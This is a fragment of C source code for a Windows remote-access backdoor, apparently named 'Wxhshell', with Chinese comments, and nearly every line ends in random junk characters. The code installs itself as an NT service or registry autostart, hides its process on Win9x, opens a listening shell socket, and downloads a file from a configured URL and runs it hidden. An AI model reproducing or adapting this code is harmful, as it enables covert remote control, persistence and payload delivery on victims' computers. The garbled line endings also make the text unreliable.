} PROCESS_BASIC_INFORMATION; 'o6}g p)
nf^?X`g
PROCNTQSIP NtQueryInformationProcess; _]OY[&R
o *J*}y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F|eWHw?t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zawu(3?~)5
y<kUGsD
HANDLE hProcess; c 9f"5~
PROCESS_BASIC_INFORMATION pbi; S[exnZ*Y
I8?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a$|U4Eqo
if(NULL == hInst ) return 0; uVUU1@
$KYGQP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `s)4F~aVo
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > O?WRCB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UqI #F
04-_ K
if (!NtQueryInformationProcess) return 0; Jz`jN~
).^d3Kp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ l|%~
if(!hProcess) return 0; MvpJ0Y (
9>&zOITTaL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (U.Go/A#wE
Cq!eAc
CloseHandle(hProcess); 6^gp
/{
FB[b]+t`D{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T&_&l;syA
if(hProcess==NULL) return 0; oRCc8&
oIE
1j?
HMODULE hMod; )$:1e)d
char procName[255]; BuV71/Vb{Q
unsigned long cbNeeded; P`lv_oV
$(9QnH1KY
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RxMsP;be
*)Qv;'U=rn
CloseHandle(hProcess); Z6zV 9hn
@3?>[R
if(strstr(procName,"services")) return 1; // 以服务启动 XL n9NBT4K
==[=Da~
return 0; // 注册表启动 ZRxOXt&;
} ?$6H',u
T#Z&*
// 主模块 rw'+2\
int StartWxhshell(LPSTR lpCmdLine) '(5GRI<
{ GM6,LzH
SOCKET wsl; ELCNf
BOOL val=TRUE; 3%+~"4&
int port=0; "Au4&Fu
struct sockaddr_in door; KrpIH6
)$n%4 :
if(wscfg.ws_autoins) Install(); /A7( `l;6
r!Aj5
port=atoi(lpCmdLine); mU #F>
4f\NtQ)
if(port<=0) port=wscfg.ws_port; W'@|ob
M-^I! C
WSADATA data; bp?5GU&Uy
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R])Eg&
mw
28E\U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >B{NxL3->
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~*Y#Y{
door.sin_family = AF_INET; $.jGO!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); X+;[Gc}(W
door.sin_port = htons(port); ?Zb+xN KJ(
3NpB1lgh&:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q}P@}TE
closesocket(wsl); %l7[eZ{Y
return 1; QXkA%'@'
} j*DPW)RkKX
LlX)xJ
if(listen(wsl,2) == INVALID_SOCKET) { |C4fg6XDL
closesocket(wsl); Pzso^^g
return 1; d)AYY}pw
} h0PDFMM<
Wxhshell(wsl); *9j'@2!M
WSACleanup(); z)3TB&;
e"04jd/
return 0; 9[.HWe,
{ ptdOrN
} 1b9S";ct0
^+m`mc sE
// 以NT服务方式启动 LE8<JMB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *k LFs|U
{ /L^g. ~
DWORD status = 0; b&rBWp0#
DWORD specificError = 0xfffffff; _<S!tW
stRM*.
serviceStatus.dwServiceType = SERVICE_WIN32; !zE{`Ha~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q VTL}AT2:
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;_cTrjMv\
serviceStatus.dwWin32ExitCode = 0; _N`.1Dl%Q
serviceStatus.dwServiceSpecificExitCode = 0; :TQp,CEa
serviceStatus.dwCheckPoint = 0; Ixxs(
serviceStatus.dwWaitHint = 0; Pm/<^z%
xWG@<}H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M|DMoi8x
if (hServiceStatusHandle==0) return; u} mj)Nk
I0}.!
status = GetLastError(); ukR0E4p
if (status!=NO_ERROR) XJ<"S
p
{ \L*%?~
serviceStatus.dwCurrentState = SERVICE_STOPPED; _w\9
\<%
serviceStatus.dwCheckPoint = 0; 6 eSo.@*l
serviceStatus.dwWaitHint = 0; CQWXLQED>
serviceStatus.dwWin32ExitCode = status; V+`kB3GV
serviceStatus.dwServiceSpecificExitCode = specificError; gRY#pRT6d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<
6GE
return; Cf[tNq
} roS" q~GS,
v,-Tk=qP
serviceStatus.dwCurrentState = SERVICE_RUNNING; v?`R8
serviceStatus.dwCheckPoint = 0; Q#p)?:o/
serviceStatus.dwWaitHint = 0; *wTX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W3.[d->X
} !K-1tp$
$nE{%?n-#
// 处理NT服务事件,比如:启动、停止 =0cTct6\
VOID WINAPI NTServiceHandler(DWORD fdwControl) OR@
67Y
{
p'h'Cz
switch(fdwControl) _5p$#U`
{ R
(f:UC
case SERVICE_CONTROL_STOP: %ztZ#h~g
serviceStatus.dwWin32ExitCode = 0; px;~20$e
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1-gM)x{Jr
serviceStatus.dwCheckPoint = 0; tyR?A>F4
serviceStatus.dwWaitHint = 0; Ub3$ `
{ lM\dK)p21O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WESD^FK
} bsQ'kBD
return; NljpkeX'
case SERVICE_CONTROL_PAUSE: (ks>F=vk*
serviceStatus.dwCurrentState = SERVICE_PAUSED; I*-\u
break; 8&@=Anc&q
case SERVICE_CONTROL_CONTINUE: Ij#mmj NW
serviceStatus.dwCurrentState = SERVICE_RUNNING; r)t[QoD1
break; 6Ryc&z5
case SERVICE_CONTROL_INTERROGATE: |ty&}'6C
break; )U\i7[k>
}; ]ae(t`\l^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !`{?qQ[=
} )g:5}+
mV^w|x
// 标准应用程序主函数 M XG>|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o26Y}W
{ 0C<\m\|~k
85E$m'0O
// 获取操作系统版本 vU>^
OsIsNt=GetOsVer(); K&[0`sH!
GetModuleFileName(NULL,ExeFile,MAX_PATH); `:C1Wo^<
*ra)u-
// 从命令行安装 ]t0o%w
if(strpbrk(lpCmdLine,"iI")) Install(); 5Dkb/Iagi
s@L ;3WdO
// 下载执行文件 #*A&jo'E
if(wscfg.ws_downexe) { LDg9@esi
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &E`Nu (e
WinExec(wscfg.ws_filenam,SW_HIDE); b~^'P
} /O[6PG
)?72 +X
if(!OsIsNt) { eCI'<^
// 如果时win9x,隐藏进程并且设置为注册表启动 t!\aDkxo %
HideProc(); w[z=x
StartWxhshell(lpCmdLine); :%gc Sm
} J`5VE$2M
else (U'n1s/X
if(StartFromService()) 12^uu)6Xm,
// 以服务方式启动 <Y)14w%
StartServiceCtrlDispatcher(DispatchTable); oywPPVxj
else v/ry" W
// 普通方式启动 7@{%S~TN
StartWxhshell(lpCmdLine); ["nWIs[h
DGJ:#UE
return 0; U.TZd"
} f,ro1Nke
VESvCei
xC<